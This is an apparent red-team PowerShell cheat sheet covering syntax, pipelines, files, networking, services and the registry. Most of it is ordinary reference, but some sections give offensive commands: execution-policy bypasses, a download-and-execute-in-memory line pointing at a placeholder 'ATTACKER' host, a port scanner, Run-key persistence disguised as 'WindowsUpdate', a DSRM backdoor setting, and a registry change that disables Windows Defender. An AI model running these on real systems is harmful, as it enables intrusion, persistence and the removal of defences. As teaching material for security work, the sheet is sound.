ᛉ Yggdrasil

Windows

Windows PowerShell

15 Sep 2026 · 9,578 words · 44 min

Contents

PowerShell is a cross-platform task automation framework built on .NET — combining a command-line shell, scripting language, and configuration management tool. For red teamers it is the single most powerful built-in offensive tool on Windows.


1. Basics & Fundamentals

# ==========================================
# LAUNCHING POWERSHELL
# ==========================================

powershell.exe                          # Launch PowerShell 5.x (Windows built-in)
pwsh.exe                                # Launch PowerShell 7.x (cross-platform)
powershell.exe -NoProfile               # Skip profile loading (faster + cleaner)
powershell.exe -WindowStyle Hidden      # Hidden window (no console visible)
powershell.exe -ExecutionPolicy Bypass  # Bypass execution policy for this session
powershell.exe -EncodedCommand <b64>    # Run base64-encoded command
powershell.exe -Command "Get-Process"   # Run inline command
powershell.exe -File script.ps1         # Run a script file

# ==========================================
# VERSIONS
# ==========================================

$PSVersionTable                         # Show PS version, OS, CLR info
$PSVersionTable.PSVersion               # Just the version number
$PSVersionTable.PSVersion.Major         # Major version only (5 or 7)

# Version differences:
# PowerShell 5.1 → Windows built-in, .NET Framework 4.x
# PowerShell 7.x → Cross-platform, .NET Core / .NET 5+, more features

# ==========================================
# HELP SYSTEM
# ==========================================

Get-Help Get-Process                    # Help for a cmdlet
Get-Help Get-Process -Full              # Full help with examples
Get-Help Get-Process -Examples          # Examples only
Get-Help Get-Process -Online            # Open browser to online docs
Update-Help                             # Download latest help files

Get-Command                             # List ALL available commands
Get-Command -Verb Get                   # All cmdlets starting with Get
Get-Command -Noun Process               # All cmdlets using Process noun
Get-Command *network*                   # Wildcard search
Get-Command -CommandType Function       # List only functions

Get-Alias                               # Show all aliases
Get-Alias ls                            # What does alias 'ls' map to?
New-Alias ll Get-ChildItem              # Create alias

# ==========================================
# COMMON ALIASES (know these!)
# ==========================================

# ls / dir / gci  → Get-ChildItem
# cd / chdir / sl → Set-Location
# cat / gc        → Get-Content
# cp / copy       → Copy-Item
# mv / move       → Move-Item
# rm / del / ri   → Remove-Item
# echo / write    → Write-Output
# ps / gps        → Get-Process
# kill / spps     → Stop-Process
# cls / clear     → Clear-Host
# pwd             → Get-Location
# man             → Get-Help
# curl / wget     → Invoke-WebRequest
# history         → Get-History
# ?               → Where-Object
# %               → ForEach-Object

# ==========================================
# OUTPUT & FORMATTING
# ==========================================

Get-Process | Format-Table              # Table format (default)
Get-Process | Format-List               # List format (all properties)
Get-Process | Format-Wide               # Wide (one column)
Get-Process | Out-GridView              # GUI grid (interactive!)
Get-Process | Out-File output.txt       # Save to file
Get-Process | Out-String                # Convert to string
Get-Process | ConvertTo-Csv             # Convert to CSV
Get-Process | ConvertTo-Json            # Convert to JSON
Get-Process | ConvertTo-Html            # Convert to HTML report
Get-Process | Export-Csv procs.csv      # Export to CSV file
Get-Process | Export-Clixml procs.xml   # Export to XML

# Select specific properties
Get-Process | Select-Object Name, Id, CPU
Get-Process | Select-Object -First 10   # First 10
Get-Process | Select-Object -Last 5     # Last 5
Get-Process | Select-Object -Unique     # Remove duplicates

# Sort output
Get-Process | Sort-Object CPU -Descending
Get-Process | Sort-Object Name, CPU

# Filter output
Get-Process | Where-Object { $_.CPU -gt 100 }
Get-Process | Where-Object Name -eq "chrome"

# Measure / Count
Get-Process | Measure-Object           # Count, sum, average
Get-Process | Measure-Object CPU -Sum  # Sum of CPU usage
(Get-Process).Count                    # Total process count

2. Execution Policy

# ==========================================
# CHECK & SET EXECUTION POLICY
# ==========================================

Get-ExecutionPolicy                     # Current policy
Get-ExecutionPolicy -List               # All scopes

# Execution Policy levels:
# Restricted    → No scripts at all (Windows default)
# AllSigned     → Only scripts signed by trusted publisher
# RemoteSigned  → Local scripts ok; remote must be signed
# Unrestricted  → Any script runs (warns on remote)
# Bypass        → Nothing blocked, no warnings
# Undefined     → No policy set for this scope

# Set policy (requires admin)
Set-ExecutionPolicy Bypass -Scope LocalMachine -Force
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force

# Scope hierarchy (highest wins):
# MachinePolicy > UserPolicy > Process > CurrentUser > LocalMachine

# ==========================================
# EXECUTION POLICY BYPASS (Red Team)
# ==========================================

# Method 1: Flag at launch
powershell.exe -ExecutionPolicy Bypass -File script.ps1

# Method 2: Pipe content into PS (bypasses policy!)
Get-Content script.ps1 | Invoke-Expression
cat script.ps1 | iex

# Method 3: Encode + run
$cmd = Get-Content script.ps1 | Out-String
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell.exe -EncodedCommand $enc

# Method 4: Download + execute in memory (no file!)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')

# Method 5: Set process scope (no admin needed!)
Set-ExecutionPolicy Bypass -Scope Process -Force

# Method 6: Unblock file
Unblock-File -Path .\script.ps1

# Method 7: Use pwsh (PS7) — separate policy from PS5
pwsh.exe -ExecutionPolicy Bypass -File script.ps1

# Method 8: Alternate stream
Get-Content script.ps1 -Stream :$DATA | Invoke-Expression

3. Variables & Data Types

# ==========================================
# VARIABLES
# ==========================================

$name = "Zoro"                          # String
$age = 19                               # Integer
$pi = 3.14                              # Float (double)
$isAdmin = $true                        # Boolean
$null = $null                           # Null
$arr = @(1, 2, 3, 4, 5)               # Array
$hash = @{Key="Value"; Name="Zoro"}    # Hashtable (dictionary)

# Type check
$name.GetType()                         # Returns System.String
$age.GetType().Name                     # Returns "Int32"
[int]$str = "42"                        # Cast string to int

# Automatic type variables
$true    # Boolean true
$false   # Boolean false
$null    # Null value

# ==========================================
# SPECIAL VARIABLES
# ==========================================

$_           # Current pipeline object (alias: $PSItem)
$?           # Last command success (True/False)
$!           # Last error code
$$           # Last token of last command
$^           # First token of last command
$0           # Script name
$args        # Arguments passed to script
$error       # Array of all errors in session
$error    # Most recent error
$Host        # Current host info
$PID         # Current process ID
$PWD         # Current directory
$Env:PATH    # Environment variable

# ==========================================
# STRINGS
# ==========================================

$name = "Zoro"

# String interpolation (double quotes expand variables!)
"Hello, $name!"                         # → Hello, Zoro!
'Hello, $name!'                         # → Hello, $name! (no expansion)

# String methods
$name.ToUpper()                         # ZORO
$name.ToLower()                         # zoro
$name.Length                            # 4
$name.Replace("Z","S")                  # Soro
$name.Contains("or")                    # True
$name.Split(",")                        # Split into array
$name.Trim()                            # Remove whitespace
$name.TrimStart()                       # Trim leading
$name.TrimEnd()                         # Trim trailing
$name.StartsWith("Z")                   # True
$name.EndsWith("o")                     # True
$name.Substring(1, 2)                   # "or" (start, length)
$name.IndexOf("r")                      # 2

# Here-strings (multi-line strings)
$text = @"
Line 1
Line 2
Hello $name
"@

# String formatting
"Process: {0} PID: {1}" -f "chrome", 1234

# ==========================================
# ARRAYS
# ==========================================

$arr = @(1, 2, 3, 4, 5)
$arr                                 # First element: 1
$arr[-1]                                # Last element: 5
$arr[1..3]                             # Slice: 2,3,4
$arr.Count                              # 5
$arr.Length                             # 5
$arr += 6                               # Append (creates new array!)
$arr -contains 3                        # True

# Typed arrays
[int[]]$nums = 1, 2, 3
[string[]]$names = "Alice", "Bob"

# ArrayList (dynamic, faster for large collections)
$list = [System.Collections.ArrayList]@()
$list.Add("item1")
$list.Remove("item1")
$list.Count

# ==========================================
# HASHTABLES (Dictionaries)
# ==========================================

$hash = @{
    Name    = "Zoro"
    Age     = 19
    Role    = "Pen Tester"
}

$hash["Name"]                           # Access by key: "Zoro"
$hash.Name                              # Dot notation: "Zoro"
$hash.Keys                              # All keys
$hash.Values                            # All values
$hash.Count                             # Number of pairs: 3
$hash.ContainsKey("Age")                # True
$hash.ContainsValue("Zoro")             # True
$hash.Add("Tool", "Kali")              # Add new pair
$hash.Remove("Age")                     # Remove key
$hash["NewKey"] = "NewValue"            # Add/update

# Ordered hashtable (maintains insertion order)
$ordered = [ordered]@{
    First  = 1
    Second = 2
    Third  = 3
}

# ==========================================
# TYPE CASTING
# ==========================================

[int]"42"                               # String → Int
[string]42                              # Int → String
[double]"3.14"                          # String → Double
[bool]1                                 # Int → Bool (1 = True)
[char]65                                # Int → Char (A)
[byte[]][char[]]"Hello"                 # String → Byte array
[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("data"))
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("ZGF0YQ=="))

4. Operators

# ==========================================
# ARITHMETIC
# ==========================================

5 + 3          # 8
10 - 4         # 6
3 * 4          # 12
10 / 4         # 2.5
10 % 3         # 1 (modulus)
2 ** 8         # 256 (power — PS7+)
[Math]::Pow(2,8)  # 256 (all versions)

# ==========================================
# COMPARISON
# ==========================================

# Case-insensitive by default! Use 'c' prefix for case-sensitive

-eq    # Equal:                5 -eq 5 → True
-ne    # Not equal:            5 -ne 3 → True
-gt    # Greater than:         5 -gt 3 → True
-ge    # Greater or equal:     5 -ge 5 → True
-lt    # Less than:            3 -lt 5 → True
-le    # Less or equal:        3 -le 3 → True

-ceq   # Case-sensitive equal: "Zoro" -ceq "zoro" → False
-ieq   # Case-insensitive (default): "Zoro" -ieq "zoro" → True

# ==========================================
# LOGICAL
# ==========================================

-and   # Both true:   ($a -eq 1) -and ($b -eq 2)
-or    # Either true: ($a -eq 1) -or  ($b -eq 2)
-not   # Negate:      -not $true → False
!      # Negate:      !$true → False
-xor   # Exclusive or

# ==========================================
# STRING / PATTERN
# ==========================================

-like      # Wildcard:   "Hello" -like "H*"    → True
-notlike   # Not wildcard
-match     # Regex:      "Hello" -match "^H"   → True
-notmatch  # Not regex
-replace   # Replace:    "Hello" -replace "l","r" → "Herro"
-contains  # Array contains: @(1,2,3) -contains 2 → True
-in        # Value in array: 2 -in @(1,2,3)    → True
-notin     # Value not in array

# ==========================================
# ASSIGNMENT OPERATORS
# ==========================================

$x = 10
$x += 5    # $x = 15
$x -= 3    # $x = 12
$x *= 2    # $x = 24
$x /= 4    # $x = 6
$x %= 4    # $x = 2
$x++       # Increment
$x--       # Decrement

# ==========================================
# SPECIAL OPERATORS
# ==========================================

# Range
1..10                  # Array: 1,2,3,4,5,6,7,8,9,10
'a'..'z'               # Char range (PS7+)

# Array subexpression
@(Get-Process)         # Force result into array

# Subexpression (embed in string)
"There are $(Get-Process).Count processes"

# Call operator (run commands stored in vars)
$cmd = "Get-Process"
& $cmd                 # Runs Get-Process

# Dot sourcing (load script into current scope)
. .\functions.ps1      # Functions become available in current session

# Null coalescing (PS7+)
$x = $null ?? "default"   # → "default"
$x ??= "default"           # Assign if null

# Ternary (PS7+)
$result = $true ? "yes" : "no"

# Pipeline chain (PS7+)
Get-Process && Write-Host "Success"   # Run if previous succeeded
Get-Process || Write-Host "Failed"    # Run if previous failed

5. Control Flow

# ==========================================
# IF / ELSEIF / ELSE
# ==========================================

$x = 10

if ($x -gt 5) {
    Write-Host "Greater than 5"
} elseif ($x -eq 5) {
    Write-Host "Equal to 5"
} else {
    Write-Host "Less than 5"
}

# ==========================================
# SWITCH
# ==========================================

$day = "Monday"

switch ($day) {
    "Monday"    { "Start of week" }
    "Friday"    { "End of week" }
    "Saturday"  { "Weekend"; break }
    "Sunday"    { "Weekend"; break }
    default     { "Midweek" }
}

# Switch with regex
switch -Regex ($input) {
    "^\d+"   { "Starts with number" }
    "^[a-z]" { "Starts with lowercase" }
}

# Switch with wildcard
switch -Wildcard ($filename) {
    "*.txt"  { "Text file" }
    "*.ps1"  { "PowerShell script" }
    "*.exe"  { "Executable" }
}

# ==========================================
# FOR LOOP
# ==========================================

for ($i = 0; $i -lt 10; $i++) {
    Write-Host $i
}

# ==========================================
# FOREACH
# ==========================================

$items = @("apple", "banana", "cherry")

foreach ($item in $items) {
    Write-Host $item
}

# ForEach-Object (pipeline)
$items | ForEach-Object { Write-Host $_ }
$items | % { Write-Host $_ }     # Alias

# ForEach with index
$items | ForEach-Object -Begin { $i = 0 } -Process {
    Write-Host "$i : $_"
    $i++
}

# Parallel ForEach (PS7+)
$items | ForEach-Object -Parallel {
    Start-Sleep 1; Write-Host $_
} -ThrottleLimit 3

# ==========================================
# WHILE
# ==========================================

$i = 0
while ($i -lt 5) {
    Write-Host $i
    $i++
}

# ==========================================
# DO WHILE / DO UNTIL
# ==========================================

$i = 0
do {
    Write-Host $i
    $i++
} while ($i -lt 5)

do {
    Write-Host $i
    $i++
} until ($i -ge 5)

# ==========================================
# LOOP CONTROL
# ==========================================

break      # Exit loop immediately
continue   # Skip to next iteration
return     # Exit function / script

# Break with label (nested loops)
:outerLoop for ($i = 0; $i -lt 3; $i++) {
    for ($j = 0; $j -lt 3; $j++) {
        if ($j -eq 1) { break outerLoop }
    }
}

6. Functions

# ==========================================
# BASIC FUNCTION
# ==========================================

function Say-Hello {
    Write-Host "Hello, World!"
}

Say-Hello   # Call it

# ==========================================
# FUNCTION WITH PARAMETERS
# ==========================================

function Get-Greeting {
    param (
        [string]$Name = "World",       # Default value
        [int]$Age,
        [switch]$Loud                  # Boolean switch flag
    )

    $msg = "Hello, $Name! Age: $Age"
    if ($Loud) { $msg = $msg.ToUpper() }
    return $msg
}

Get-Greeting -Name "Zoro" -Age 19
Get-Greeting -Name "Zoro" -Loud         # Switch flag

# ==========================================
# ADVANCED FUNCTION (CmdletBinding)
# ==========================================

function Get-SystemInfo {
    [CmdletBinding()]
    param (
        [Parameter(Mandatory=$true, Position=0)]
        [string]$ComputerName,

        [Parameter(Mandatory=$false)]
        [ValidateSet("CPU","RAM","Disk")]
        [string]$InfoType = "CPU",

        [Parameter(ValueFromPipeline=$true)]
        [string[]]$Names
    )

    Begin {
        Write-Verbose "Starting Get-SystemInfo"
    }
    Process {
        Write-Verbose "Querying $ComputerName for $InfoType"
        # Main logic here
    }
    End {
        Write-Verbose "Done"
    }
}

Get-SystemInfo -ComputerName "DC01" -Verbose

# ==========================================
# PARAMETER VALIDATION
# ==========================================

param (
    [ValidateNotNull()]
    [string]$Name,

    [ValidateNotNullOrEmpty()]
    [string]$Path,

    [ValidateRange(1, 100)]
    [int]$Age,

    [ValidateLength(3, 20)]
    [string]$Username,

    [ValidatePattern("^\d{4}-\d{2}-\d{2}$")]
    [string]$Date,

    [ValidateSet("Read","Write","Execute")]
    [string]$Permission,

    [ValidateScript({ Test-Path $_ })]
    [string]$FilePath
)

# ==========================================
# RETURNING VALUES
# ==========================================

function Add-Numbers {
    param([int]$a, [int]$b)
    return $a + $b               # Explicit return
}

function Add-Numbers2 {
    param([int]$a, [int]$b)
    $a + $b                      # Implicit return (PS outputs uncaptured values!)
}

$result = Add-Numbers 3 4        # $result = 7

# ==========================================
# SCRIPT BLOCKS (anonymous functions)
# ==========================================

$block = { param($x) $x * 2 }
& $block 5                        # Call it: 10

# Invoke-Command with script block
Invoke-Command -ScriptBlock { Get-Process } -ComputerName DC01

7. Pipelines & Objects

# ==========================================
# THE PIPELINE — PowerShell passes OBJECTS not text
# ==========================================

# Every cmdlet outputs objects, not strings!
Get-Process                        # Returns System.Diagnostics.Process objects
Get-Process | Get-Member           # Shows all properties + methods!
Get-Process | Get-Member -MemberType Property   # Only properties
Get-Process | Get-Member -MemberType Method     # Only methods

# ==========================================
# FILTERING WITH WHERE-OBJECT
# ==========================================

Get-Process | Where-Object { $_.CPU -gt 100 }
Get-Process | Where-Object CPU -gt 100              # Simplified (PS3+)
Get-Service | Where-Object { $_.Status -eq "Running" }
Get-Service | Where-Object Status -eq "Running"

# Multiple conditions
Get-Process | Where-Object { $_.CPU -gt 50 -and $_.Name -ne "Idle" }

# ==========================================
# TRANSFORMING WITH FOREACH-OBJECT
# ==========================================

Get-Process | ForEach-Object { $_.Name.ToUpper() }
Get-Process | ForEach-Object { [PSCustomObject]@{
    Name = $_.Name
    PID  = $_.Id
    MB   = [Math]::Round($_.WorkingSet / 1MB, 2)
}}

# ==========================================
# SELECTING PROPERTIES
# ==========================================

Get-Process | Select-Object Name, Id, CPU
Get-Process | Select-Object Name, @{N="MB";E={[Math]::Round($_.WorkingSet/1MB,2)}}
# ^ Calculated property: alias N=Name, E=Expression

# ==========================================
# CREATING CUSTOM OBJECTS
# ==========================================

# Method 1: PSCustomObject (preferred)
$obj = [PSCustomObject]@{
    Name   = "DC01"
    IP     = "10.10.10.1"
    Role   = "Domain Controller"
    IsAlive = $true
}

$obj.Name    # DC01
$obj.IP      # 10.10.10.1

# Method 2: New-Object
$obj = New-Object PSObject -Property @{
    Name = "DC01"
    IP   = "10.10.10.1"
}

# Method 3: Add-Member (add to existing)
$obj | Add-Member -MemberType NoteProperty -Name "OS" -Value "Server 2022"
$obj | Add-Member -MemberType ScriptMethod -Name "Ping" -Value { Test-Connection $this.IP -Count 1 }

# ==========================================
# GROUP & SORT
# ==========================================

Get-Process | Group-Object Name                    # Group by process name
Get-Process | Sort-Object CPU -Descending          # Sort by CPU
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10  # Top 10

# ==========================================
# TEES & SPLITTING PIPELINE
# ==========================================

Get-Process | Tee-Object -FilePath procs.txt | Where-Object CPU -gt 100
# Sends output to file AND continues pipeline

8. Error Handling

# ==========================================
# TERMINATING vs NON-TERMINATING ERRORS
# ==========================================

# Non-terminating: cmdlet reports error but continues
# Terminating: script stops entirely

# $ErrorActionPreference controls non-terminating behavior:
$ErrorActionPreference = "Stop"         # Treat all errors as terminating
$ErrorActionPreference = "Continue"     # Default — show error, keep going
$ErrorActionPreference = "SilentlyContinue"  # Suppress error messages
$ErrorActionPreference = "Inquire"      # Prompt user on each error

# Per-command error action:
Get-Item "C:\nonexistent" -ErrorAction SilentlyContinue
Get-Item "C:\nonexistent" -ErrorAction Stop
Get-Item "C:\nonexistent" -ErrorVariable myErr   # Capture error

# ==========================================
# TRY / CATCH / FINALLY
# ==========================================

try {
    $result = Get-Content "C:\nonexistent.txt" -ErrorAction Stop
    Write-Host "File content: $result"
}
catch [System.IO.FileNotFoundException] {
    Write-Host "File not found: $_"
}
catch [System.UnauthorizedAccessException] {
    Write-Host "Access denied: $_"
}
catch {
    # Catch ALL other errors
    Write-Host "Error: $($_.Exception.Message)"
    Write-Host "Type: $($_.Exception.GetType().FullName)"
    Write-Host "Line: $($_.InvocationInfo.ScriptLineNumber)"
}
finally {
    # Always runs — cleanup code here
    Write-Host "Cleanup complete"
}

# ==========================================
# THROWING ERRORS
# ==========================================

throw "Something went wrong"
throw [System.Exception]::new("Custom exception")

# ==========================================
# $ERROR VARIABLE
# ==========================================

$error          # Array of all errors (most recent = )
$error       # Most recent error
$error.Exception.Message    # Error message
$error.Clear()  # Clear error list

# ==========================================
# WRITE-ERROR vs THROW
# ==========================================

Write-Error "Non-terminating error"    # Reports error, continues
throw "Terminating error"              # Stops execution!

# ==========================================
# TEST PATTERNS
# ==========================================

# Test before acting (avoid errors entirely!)
if (Test-Path "C:\file.txt") { Get-Content "C:\file.txt" }
if (Get-Command "nmap" -ErrorAction SilentlyContinue) { nmap --help }

9. File & Directory Operations

# ==========================================
# NAVIGATION
# ==========================================

Get-Location                        # Current directory (pwd)
Set-Location C:\Windows             # Change directory (cd)
Set-Location ..                     # Go up one level
Set-Location ~                      # Home directory
Push-Location C:\Temp               # Save location, cd to new
Pop-Location                        # Return to saved location

# ==========================================
# LISTING FILES
# ==========================================

Get-ChildItem                       # List current directory
Get-ChildItem C:\Windows            # List specific path
Get-ChildItem -Recurse              # Recursive
Get-ChildItem -File                 # Files only
Get-ChildItem -Directory            # Directories only
Get-ChildItem -Hidden               # Include hidden
Get-ChildItem -Filter "*.txt"       # Filter by extension
Get-ChildItem -Recurse -Filter "*.log" C:\   # Recurse + filter
Get-ChildItem -Recurse | Where-Object { $_.Length -gt 1MB }  # Large files

# ==========================================
# FILE OPERATIONS
# ==========================================

New-Item -Path "C:\Temp\file.txt" -ItemType File    # Create file
New-Item -Path "C:\Temp\NewDir" -ItemType Directory # Create directory
New-Item -Path "C:\Temp\NewDir" -ItemType Directory -Force  # No error if exists

Copy-Item C:\src\file.txt C:\dst\                   # Copy file
Copy-Item C:\src\ C:\dst\ -Recurse                  # Copy directory tree
Move-Item C:\file.txt C:\Temp\                      # Move file
Rename-Item C:\file.txt newname.txt                 # Rename
Remove-Item C:\file.txt                             # Delete file
Remove-Item C:\Temp\ -Recurse -Force                # Delete directory tree

# ==========================================
# READING FILES
# ==========================================

Get-Content file.txt                                # Read all lines (array)
Get-Content file.txt -Raw                           # Read as single string
Get-Content file.txt -TotalCount 10                 # First 10 lines
Get-Content file.txt -Tail 20                       # Last 20 lines
Get-Content file.txt | Select-String "error"        # Grep equivalent!
Get-Content file.txt -Wait                          # tail -f equivalent!
[System.IO.File]::ReadAllText("file.txt")           # .NET method (faster for big files)

# ==========================================
# WRITING FILES
# ==========================================

"Hello World" | Out-File file.txt                   # Write (overwrites)
"Hello World" | Out-File file.txt -Append           # Append
"Hello World" | Add-Content file.txt                # Append (preferred)
Set-Content file.txt "Replace entire content"       # Overwrite
[System.IO.File]::WriteAllText("file.txt","data")   # .NET (fastest)
[System.IO.File]::AppendAllText("file.txt","more")  # .NET append

# ==========================================
# FILE INFO
# ==========================================

Get-Item C:\file.txt                                # File object
(Get-Item C:\file.txt).Length                       # Size in bytes
(Get-Item C:\file.txt).LastWriteTime                # Last modified
(Get-Item C:\file.txt).CreationTime                 # Created time

# ==========================================
# SEARCHING FILES (like grep -r)
# ==========================================

Select-String -Path "C:\Logs\*.log" -Pattern "error" -Recurse
Select-String -Path "C:\Logs\*.txt" -Pattern "password" -CaseSensitive
Get-ChildItem -Recurse -Filter "*.ps1" | Select-String "Get-Credential"

# ==========================================
# COMPRESSION
# ==========================================

Compress-Archive -Path C:\Folder -DestinationPath C:\archive.zip
Compress-Archive -Path C:\Folder -DestinationPath C:\archive.zip -Update  # Add to existing
Expand-Archive -Path C:\archive.zip -DestinationPath C:\Output
Expand-Archive -Path C:\archive.zip -DestinationPath C:\Output -Force

# ==========================================
# PATHS
# ==========================================

Test-Path "C:\file.txt"             # Does it exist?
Test-Path "C:\file.txt" -PathType Leaf       # Is it a file?
Test-Path "C:\Folder" -PathType Container    # Is it a directory?

Join-Path "C:\Users" "Zoro" "Desktop"        # Build path safely
Split-Path "C:\Users\Zoro\file.txt" -Leaf    # Get filename: file.txt
Split-Path "C:\Users\Zoro\file.txt" -Parent  # Get dir: C:\Users\Zoro
[System.IO.Path]::GetExtension("file.txt")   # .txt
[System.IO.Path]::GetFileNameWithoutExtension("file.txt")  # file
[System.IO.Path]::GetFullPath(".\file.txt")  # Absolute path
[System.IO.Path]::GetTempPath()              # Temp directory
[System.IO.Path]::GetTempFileName()          # Create temp file

10. Networking

# ==========================================
# BASIC NETWORK INFO
# ==========================================

Get-NetIPAddress                                # All IP addresses
Get-NetIPAddress -AddressFamily IPv4            # IPv4 only
Get-NetAdapter                                  # Network adapters
Get-NetAdapter | Where-Object Status -eq "Up"  # Active adapters
Get-NetRoute                                    # Routing table
Get-DnsClientServerAddress                      # DNS servers
Resolve-DnsName corp.local                      # DNS lookup
Resolve-DnsName 10.10.10.1 -Type PTR            # Reverse DNS
Get-NetTCPConnection                            # All TCP connections (netstat)
Get-NetTCPConnection -State Listen              # Listening ports only
Get-NetTCPConnection -State Established         # Active connections

# ==========================================
# CONNECTIVITY TESTING
# ==========================================

Test-Connection 8.8.8.8                         # Ping (4 pings)
Test-Connection 8.8.8.8 -Count 1               # Single ping
Test-Connection 8.8.8.8 -Quiet                 # Returns True/False only
Test-NetConnection 10.10.10.1 -Port 445         # TCP port test
Test-NetConnection 10.10.10.1 -Port 3389        # RDP port test
Test-NetConnection 10.10.10.1 -TraceRoute       # Traceroute

# Port scanner (quick)
1..1024 | ForEach-Object {
    $port = $_
    try {
        $tcp = New-Object System.Net.Sockets.TcpClient
        $conn = $tcp.BeginConnect("10.10.10.1", $port, $null, $null)
        $wait = $conn.AsyncWaitHandle.WaitOne(100, $false)  # 100ms timeout
        if ($wait) { Write-Host "Port $port: OPEN" }
        $tcp.Close()
    } catch {}
}

# ==========================================
# WEB REQUESTS (Invoke-WebRequest)
# ==========================================

# GET request
$resp = Invoke-WebRequest -Uri "https://example.com"
$resp.StatusCode                                # HTTP status code
$resp.Content                                   # Response body (string)
$resp.Headers                                   # Response headers
$resp.Links                                     # All hyperlinks
$resp.Forms                                     # Forms on page

# Download file
Invoke-WebRequest -Uri "http://server/file.exe" -OutFile "C:\Temp\file.exe"

# POST request
$body = @{ username = "user"; password = "pass" }
Invoke-WebRequest -Uri "https://site.com/login" -Method POST -Body $body

# POST with JSON
$json = '{"user":"admin","pass":"P@ss"}'
Invoke-WebRequest -Uri "https://api.corp.local/auth" `
    -Method POST `
    -ContentType "application/json" `
    -Body $json

# With headers
$headers = @{ Authorization = "Bearer TOKEN"; "Content-Type" = "application/json" }
Invoke-WebRequest -Uri "https://api.corp.local/data" -Headers $headers

# Ignore SSL errors
Invoke-WebRequest -Uri "https://10.10.10.1" -SkipCertificateCheck  # PS7+
# PS5 equivalent:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }

# ==========================================
# REST API (Invoke-RestMethod)
# ==========================================

$data = Invoke-RestMethod -Uri "https://api.github.com/users/octocat"
$data.login       # Parsed JSON directly into object!
$data.public_repos

# ==========================================
# .NET WEB CLIENT (faster for large downloads)
# ==========================================

$wc = New-Object System.Net.WebClient
$wc.DownloadFile("http://server/file.exe", "C:\Temp\file.exe")
$content = $wc.DownloadString("http://server/script.ps1")
IEX $content   # Download + execute in memory!

# ==========================================
# DNS QUERIES
# ==========================================

Resolve-DnsName corp.local -Type A         # A record
Resolve-DnsName corp.local -Type MX        # Mail server
Resolve-DnsName corp.local -Type NS        # Name servers
Resolve-DnsName corp.local -Type SOA       # SOA record
Resolve-DnsName corp.local -Type SRV       # SRV records
Resolve-DnsName _ldap._tcp.dc._msdcs.corp.local -Type SRV  # Find DCs!

11. Process & Service Management

# ==========================================
# PROCESSES
# ==========================================

Get-Process                                 # All processes
Get-Process chrome                          # Specific process
Get-Process | Sort-Object CPU -Descending  # Top CPU consumers
Get-Process | Sort-Object WorkingSet -Descending | Select -First 10  # Top RAM

# Start process
Start-Process notepad.exe
Start-Process powershell.exe -Verb RunAs    # Run as admin
Start-Process "C:\Temp\tool.exe" -ArgumentList "-arg1 value" -WindowStyle Hidden

# Stop process
Stop-Process -Name chrome -Force
Stop-Process -Id 1234 -Force
Get-Process chrome | Stop-Process -Force

# Process properties
(Get-Process chrome).Id                 # PID
(Get-Process chrome).Path              # Executable path
(Get-Process chrome).MainWindowTitle   # Window title
(Get-Process chrome).Threads.Count     # Thread count
(Get-Process chrome).Modules           # Loaded DLLs

# Wait for process
$proc = Start-Process notepad.exe -PassThru
$proc.WaitForExit(5000)                   # Wait 5 seconds

# ==========================================
# SERVICES
# ==========================================

Get-Service                               # All services
Get-Service -Name "wuauserv"             # Windows Update service
Get-Service | Where-Object Status -eq "Running"
Get-Service | Where-Object { $_.StartType -eq "Disabled" }

Start-Service -Name "wuauserv"
Stop-Service -Name "wuauserv" -Force
Restart-Service -Name "wuauserv"
Suspend-Service -Name "wuauserv"         # Pause service

Set-Service -Name "wuauserv" -StartupType Disabled    # Disable autostart
Set-Service -Name "wuauserv" -StartupType Automatic   # Enable autostart

New-Service -Name "MyService" `
    -BinaryPathName "C:\Temp\svc.exe" `
    -DisplayName "My Service" `
    -StartupType Automatic

Remove-Service -Name "MyService"         # PS6+ only
# PS5: sc.exe delete MyService

# Service dependencies
(Get-Service -Name "wuauserv").DependentServices      # What depends on it
(Get-Service -Name "wuauserv").ServicesDependedOn     # What it depends on

12. Registry Operations

# ==========================================
# REGISTRY DRIVES
# ==========================================

# PS maps registry as drives:
# HKLM: → HKEY_LOCAL_MACHINE
# HKCU: → HKEY_CURRENT_USER
# HKCR: → HKEY_CLASSES_ROOT (mount manually)

# ==========================================
# READING REGISTRY
# ==========================================

Get-Item "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
(Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").ProductName

# Specific value
Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" "ProductName"

# List all subkeys
Get-ChildItem "HKLM:\SOFTWARE\Microsoft"

# Recurse registry tree
Get-ChildItem "HKCU:\Software" -Recurse -ErrorAction SilentlyContinue

# ==========================================
# WRITING REGISTRY
# ==========================================

# Create key
New-Item "HKCU:\Software\MyApp" -Force

# Create/set value
New-ItemProperty "HKCU:\Software\MyApp" -Name "Setting" -Value "Data" -PropertyType String
Set-ItemProperty "HKCU:\Software\MyApp" -Name "Setting" -Value "NewData"

# Property types: String, ExpandString, Binary, DWord, MultiString, QWord

# ==========================================
# DELETING REGISTRY
# ==========================================

Remove-ItemProperty "HKCU:\Software\MyApp" -Name "Setting"   # Delete value
Remove-Item "HKCU:\Software\MyApp" -Recurse                  # Delete key + subkeys

# ==========================================
# RED TEAM REGISTRY OPS
# ==========================================

# Persistence: Run key
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
    -Name "WindowsUpdate" `
    -Value "C:\ProgramData\svc.exe"

# Check AutoRun keys
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"

# DSRM backdoor
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" `
    -Name "DsrmAdminLogonBehavior" `
    -Value 2

# Disable Windows Defender (requires admin)
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" `
    -Name "DisableAntiSpyware" `
    -Value 1

# LSA protection check (Credential Guard)
